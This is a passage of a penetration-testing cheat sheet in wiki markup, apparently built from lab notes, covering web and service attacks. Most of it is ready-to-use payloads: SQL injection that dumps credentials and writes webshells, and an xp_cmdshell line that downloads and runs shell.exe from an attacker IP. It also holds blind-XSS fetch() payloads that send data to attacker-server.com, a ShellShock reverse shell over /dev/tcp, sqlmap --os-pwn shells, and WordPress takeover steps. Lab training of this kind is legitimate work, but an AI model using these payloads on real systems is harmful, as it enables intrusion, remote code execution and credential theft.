&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.&lt;br /&gt;
&#039;user1&#039; or 1=1&lt;br /&gt;
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement&lt;br /&gt;
&#039;user1&#039; or 1=1 LIMIT1;#&lt;br /&gt;
&lt;br /&gt;
&#039; or 1=1; -- -&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Basic SQL Injection ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&lt;br /&gt;
https://blog.aghanim.net/?p=1203&lt;br /&gt;
# ENTRY POINT DETECTION&lt;br /&gt;
## Detection of an SQL injection entry point Simple characters&lt;br /&gt;
&#039;&lt;br /&gt;
%27&lt;br /&gt;
&amp;quot;&lt;br /&gt;
%22&lt;br /&gt;
#&lt;br /&gt;
%23&lt;br /&gt;
;&lt;br /&gt;
%3B&lt;br /&gt;
)&lt;br /&gt;
Wildcard (*)&lt;br /&gt;
&#039;  # required for XML content&lt;br /&gt;
## Multiple encoding&lt;br /&gt;
%%2727&lt;br /&gt;
%25%27&lt;br /&gt;
## Merging characters&lt;br /&gt;
`+HERP&lt;br /&gt;
&#039;||&#039;DERP&lt;br /&gt;
&#039;+&#039;herp&lt;br /&gt;
&#039; &#039;DERP&lt;br /&gt;
&#039;%20&#039;HERP&lt;br /&gt;
&#039;%2B&#039;HERP&lt;br /&gt;
## Logic Testing&lt;br /&gt;
page.asp?id=1 or 1=1 -- true&lt;br /&gt;
page.asp?id=1&#039; or 1=1 -- true&lt;br /&gt;
page.asp?id=1&amp;quot; or 1=1 -- true&lt;br /&gt;
page.asp?id=1 and 1=2 -- false&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Database ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use &#039;order by&#039; clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.&lt;br /&gt;
# If error out on 4, that means that there are 3 columns.&lt;br /&gt;
?id=1 order by 1&lt;br /&gt;
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW&lt;br /&gt;
http://localhost/debug.php?id=1 union all select 1, 2, 3&lt;br /&gt;
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
# MariaDB version&lt;br /&gt;
?id=1 union all select 1, 2, @@version&lt;br /&gt;
# Database user&lt;br /&gt;
?id=1 union all select 1, 2, user()&lt;br /&gt;
# Enumerate database tables and column structures through &#039;information_schema&#039;&lt;br /&gt;
?id=1 union all select 1, 2, table_name from information_schema.tables&lt;br /&gt;
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=&#039;users&#039;&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== SQLmap ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic arguments for SQLmap&lt;br /&gt;
sqlmap --url=&amp;quot;&amp;quot; -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs&lt;br /&gt;
# Load a request file and use mobile user-agent&lt;br /&gt;
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1&lt;br /&gt;
# Custom injection in UserAgent/Header/Referer/Cookie&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com&amp;quot; --data &amp;quot;username=admin&amp;amp;password=pass&amp;quot;  --headers=&amp;quot;x-forwarded-for:127.0.0.1*&amp;quot;&lt;br /&gt;
## The injection is located at the &#039;*&#039;&lt;br /&gt;
# SHELL&lt;br /&gt;
## SQL Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --sql-shell&lt;br /&gt;
## Simple Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-shell&lt;br /&gt;
## Dropping a reverse-shell / meterpreter&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-pwn&lt;br /&gt;
## SSH Shell by dropping an SSH key&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot; -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/&lt;br /&gt;
# Crawl a website with SQLmap and auto-exploit&lt;br /&gt;
sqlmap -u &amp;quot;http://example.com/&amp;quot; --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3&lt;br /&gt;
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers&lt;br /&gt;
--crawl = how deep you want to crawl a site&lt;br /&gt;
--forms = Parse and test forms&lt;br /&gt;
# Using TOR with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5&lt;br /&gt;
# Using a proxy with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --proxy=&amp;quot;http://127.0.0.1:8080&amp;quot;&lt;br /&gt;
# Using Chrome cookie and a Proxy&lt;br /&gt;
sqlmap -u &amp;quot;https://test.com/index.php?id=99&amp;quot; --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy &amp;quot;http://127.0.0.1:8080&amp;quot;  -f  --time-sec 15 --level 3&lt;br /&gt;
# Using suffix to tamper the injection&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --suffix=&amp;quot;-- &amp;quot;&lt;br /&gt;
# General tamper option and tamper&#039;s list&lt;br /&gt;
tamper=name_of_the_tamper&lt;br /&gt;
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.&lt;br /&gt;
https://twitter.com/kuldeepdotexe/status/1687897180953034754&lt;br /&gt;
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter=&amp;quot;Generic UNION query (NULL)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Union based sqli ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerate column&lt;br /&gt;
# Add ,NULL until no more erros. Thats how many column there is.&lt;br /&gt;
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.&lt;br /&gt;
&#039; UNION SELECT NULL--&lt;br /&gt;
&#039; UNION SELECT NULL,NULL,NULL FROM DUAL--&lt;br /&gt;
&#039; UNION SELECT table_name,NULL,NULL FROM all_tables--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_ADMINS&#039;--&lt;br /&gt;
Blog entry from ADMIN_NAME with title null from 0&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
&#039; UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_USERS&#039;--&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
Blog entry from USER_ID with title null from 0&lt;br /&gt;
Blog entry from USER_NAME with title null from 0&lt;br /&gt;
&#039; UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from alice with title null from 0&lt;br /&gt;
Blog entry from eric with title null from 0&lt;br /&gt;
Blog entry from maria with title null from 0&lt;br /&gt;
&#039; UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from bobismyuncle with title null from 0&lt;br /&gt;
Blog entry from letmein with title null from 0&lt;br /&gt;
Blog entry from thisismypassword with title null from 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Usuful commands (Upload shells) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
# Test SQLI with sleep&lt;br /&gt;
# Double hyphen is used to out-comment rest of the query&lt;br /&gt;
&#039; UNION SELECT sleep(5); -- -&lt;br /&gt;
# Write a webshell&lt;br /&gt;
UNION SELECT &amp;quot;&amp;quot; into outfile &amp;quot;C:\\xampp\\htdocs\\backdoor.php&amp;quot;&lt;br /&gt;
UNION SELECT &#039;&#039; INTO OUTFILE &#039;/var/www/html/x.php&#039; FIELDS TERMINATED BY &#039;&#039;&lt;br /&gt;
&#039; UNION SELECT (&amp;quot; into OUTFILE &#039;c:/xampp/htdocs/backdoor.php&#039;&lt;br /&gt;
# Code execution&lt;br /&gt;
?id=1 union all select 1, 2, load_file(&#039;C:/Windows/win.ini&#039;)&lt;br /&gt;
# Mssql download shell, output it, and execute it&lt;br /&gt;
&#039;;EXEC xp_cmdshell &#039;certutil -urlcache -split -f &amp;quot;http://192.168.119.176/shell.exe&amp;quot; C:\windows\temp\shell.exe&amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
# XP_dirtree - Remember to start responder or impacket-smbserver&lt;br /&gt;
1&#039;; use master; exec xp_dirtree &#039;\\192.168.119.176\SHARE&#039;;--&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSRF ===&lt;br /&gt;
&lt;br /&gt;
==== Capture hash ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example from PG Heist&lt;br /&gt;
# On target website&lt;br /&gt;
http://heist.offsec:8080/?url=http://192.168.49.247:80&lt;br /&gt;
# On attacker&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]&lt;br /&gt;
└─# responder -I tun0&lt;br /&gt;
[+] Listening for events...&lt;br /&gt;
[HTTP] NTLMv2 Client   : ::ffff:192.168.247.165&lt;br /&gt;
[HTTP] NTLMv2 Username : HEIST\enox&lt;br /&gt;
[HTTP] NTLMv2 Hash     : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]&lt;br /&gt;
# Hash format&lt;br /&gt;
netntlmv2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSTI ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c echo RCE &amp;gt; C:/Windows/Tasks/test.txt&amp;quot;);&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c powershell -e ENCODEDCOMMAND&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XSS ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]&lt;br /&gt;
&lt;br /&gt;
==== Blind XSS ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING GET REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Send this to the vulnernable form parameter&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;).then(response =&amp;gt; response.text()).then(data =&amp;gt; fetch(&#039;http://10.9.17.250/receive?data=&#039; + encodeURIComponent(data)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Set up a listener, like python http server og netcat and wait for the connection.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -lvnp 80&lt;br /&gt;
listening on [any] 80 ...&lt;br /&gt;
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532&lt;br /&gt;
GET /receive?data=THM%7B83... HTTP/1.1&lt;br /&gt;
Host: 10.9.17.250&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36&lt;br /&gt;
accept: */*&lt;br /&gt;
origin: http://127.0.0.1:8080&lt;br /&gt;
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247&lt;br /&gt;
Referer: http://127.0.0.1:8080/&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING POST REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Host the Script&#039;&#039;&#039;: You need to have control over the server at  ​[http://10.9.17.250 http://10.9.17.250]​ . On this server, you&#039;ll place your JavaScript code in a file, typically with a  ​.js​  extension (even though you mentioned  ​test.txt​ , it&#039;s more common to use  ​.js​  for JavaScript files).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Write the JavaScript Code&#039;&#039;&#039;: The JavaScript code that fetches the content from  ​[http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt]​  and then sends it to your server needs to be written and saved in the file you&#039;re hosting (say  ​script.js​ ).&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of what your JavaScript file ( ​script.js​ ) might contain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;)&lt;br /&gt;
    .then(response =&amp;gt; response.text())&lt;br /&gt;
    .then(data =&amp;gt; {&lt;br /&gt;
        fetch(&#039;http://10.9.17.250/receive&#039;, { // Change the endpoint as needed&lt;br /&gt;
            method: &#039;POST&#039;,&lt;br /&gt;
            headers: {&lt;br /&gt;
                &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039;,&lt;br /&gt;
            },&lt;br /&gt;
            body: `data=${encodeURIComponent(data)}`&lt;br /&gt;
        });&lt;br /&gt;
    });&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can alos send this directly instead of hosting it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;/profile&#039;).then(response =&amp;gt; response.json()).then(data =&amp;gt; fetch(&#039;http://attacker-server.com&#039;, {method: &#039;POST&#039;, headers: {&#039;Content-Type&#039;: &#039;application/json&#039;}, body: JSON.stringify(data)}));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Inject the payload in the form&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Setup a receiver:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from flask import Flask, request&lt;br /&gt;
app = Flask(__name__)&lt;br /&gt;
@app.route(&#039;/receive&#039;, methods=[&#039;POST&#039;])&lt;br /&gt;
def receive_data():&lt;br /&gt;
    data = request.get_json()&lt;br /&gt;
    print(data)&lt;br /&gt;
    return &#039;Data received&#039;, 200&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    app.run(host=&#039;0.0.0.0&#039;, port=80)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bypass robots.txt &amp;quot;You are not a search engine. Permission denied.&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Set User-Agent to &amp;quot;User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellShock (CGI) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &amp;quot;user-agent: () { :; }; echo; echo; /bin/bash -c &#039;cat /etc/passwd&#039;&amp;quot; /cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &#039;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.17/4444 0&amp;gt;&amp;amp;1&#039; http://10.10.10.56/cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMS/Webservers ===&lt;br /&gt;
&lt;br /&gt;
==== Apache James ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.72 PWK&lt;br /&gt;
# Apache James Server 2.3.2&lt;br /&gt;
https://www.exploit-db.com/exploits/50347&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Drupal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
droopscan scan -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Username Enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Register&lt;br /&gt;
In /user/register try to create a username, and if the name is already taken it will be notified&lt;br /&gt;
Register new password&lt;br /&gt;
If you request a new password for an exisiting username.&lt;br /&gt;
If you request a new password for a non-existent username:&lt;br /&gt;
Number of users enumeration&lt;br /&gt;
Accessing /user/ you can see the number of exisinting users.&lt;br /&gt;
   - /user/4 -&amp;gt; Access denied (user exist)&lt;br /&gt;
   - /user/5 -&amp;gt; Page not found (user dosent exist)&lt;br /&gt;
There are 4 existing users.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hidden pages enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Fuzz /node/$ where $ is a number (from 1 to 500 for example).&lt;br /&gt;
You could find hidden pages (test, dev) which are not referenced by the search engine.&lt;br /&gt;
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== FuelCMS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47138&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gitstack portal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Go to gitstack portal&lt;br /&gt;
# Try default admin:admin&lt;br /&gt;
# Click on stack menu.&lt;br /&gt;
# Choose the command portal option.&lt;br /&gt;
# replace stack.php?cmd=hello&lt;br /&gt;
# with&lt;br /&gt;
# stack.php?cmd=hello;whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== IIS - Internet Information Services ====&lt;br /&gt;
&lt;br /&gt;
==== Jenkins ====&lt;br /&gt;
&lt;br /&gt;
===== Remote Code execution =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.5.5.25 PWK&lt;br /&gt;
Select New Item --&amp;gt; Freestyle project --&amp;gt; Choose build --&amp;gt; Windows batch command (Or Execute shell for Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Joomla ====&lt;br /&gt;
&lt;br /&gt;
==== Ovidentia ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
See writeup 10.11.1.73 PWK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tiki wiki ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/40053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHPLiteAdmin ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.116 PWK&lt;br /&gt;
# PHPLiteAdmin 1.9.3&lt;br /&gt;
# https://www.exploit-db.com/exploits/24044&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tomcat ====&lt;br /&gt;
&lt;br /&gt;
==== werkzeug ====&lt;br /&gt;
&lt;br /&gt;
==== WebDAV ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
davtest -url http://10.10.10.15&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Curl commands with webDAV =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Reading Files/Folders&lt;br /&gt;
curl &#039;http://example.com/webdav&#039;&lt;br /&gt;
# Creating new Folder&lt;br /&gt;
curl -X MKCOL &#039;http://example.com/webdav/new_folder&#039;&lt;br /&gt;
# Uploading File&lt;br /&gt;
curl -T &#039;/path/to/local/file.txt&#039; &#039;http://example.com/webdav/test/new_name.txt&#039;&lt;br /&gt;
curl --upload-file  http:///test/&lt;br /&gt;
curl -T &#039;cmdasp.aspx&#039; &#039;http://192.168.89.122/cmd.aspx&#039; --user fmcsorley:CrabSharkJellyfish192&lt;br /&gt;
# Renaming File&lt;br /&gt;
curl -X MOVE --header &#039;Destination:http://example.org/webdav/new.txt&#039; &#039;http://example.com/webdav/old.txt&#039;&lt;br /&gt;
# Deleting Files/Folders&lt;br /&gt;
# File:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test.txt&#039;&lt;br /&gt;
# Folder:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Wordpress ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wpscan --url&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Change user pass in Mysql =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example 1&lt;br /&gt;
use wp_genesis;&lt;br /&gt;
SELECT ID, user_login, user_pass FROM wp_users;&lt;br /&gt;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;&lt;br /&gt;
# Example 2&lt;br /&gt;
select * from wp_users;&lt;br /&gt;
UPDATE `wp_users` SET `user_pass`= MD5(&#039;bypassed&#039;) WHERE&lt;br /&gt;
`user_login`=&#039;admin&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Panel RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Edit the 404.php file in Wordpress dashobard. Appereance --&amp;gt; Editor --&amp;gt; 404 Template.&lt;br /&gt;
Add php-reverse-shell.php.&lt;br /&gt;
Visit http:///wp-content/themes/twentytwelve/404.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Plugin RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/x3rz/malicious-wordpress-plugin&lt;br /&gt;
# Edit php reverse shell and add IP and port&lt;br /&gt;
# Go to Plugin -&amp;gt; Add new -&amp;gt; Upload plugin&lt;br /&gt;
# Upload the zip file&lt;br /&gt;
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
==== PHP webshell, php code, php execution, php command ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WebApplication Firewall (WAF) ===&lt;br /&gt;
&lt;br /&gt;
=== fireprox -Rotate source IP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/ustayready/fireprox&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Waf Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c&lt;br /&gt;
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.&lt;br /&gt;
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 88 - KERBEROS ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 110 - POP3 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Login&lt;br /&gt;
telnet 192.168.196.137 110&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
+OK Dovecot (Ubuntu) ready.&lt;br /&gt;
USER sales&lt;br /&gt;
+OK&lt;br /&gt;
PASS sales&lt;br /&gt;
+OK Logged in.&lt;br /&gt;
# List emails&lt;br /&gt;
list&lt;br /&gt;
# Read mail&lt;br /&gt;
RETR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 113 - ident ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident&lt;br /&gt;
ident-user-enum 192.168.207.60 22 113 8080 10000&lt;br /&gt;
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )&lt;br /&gt;
192.168.207.60:22       root&lt;br /&gt;
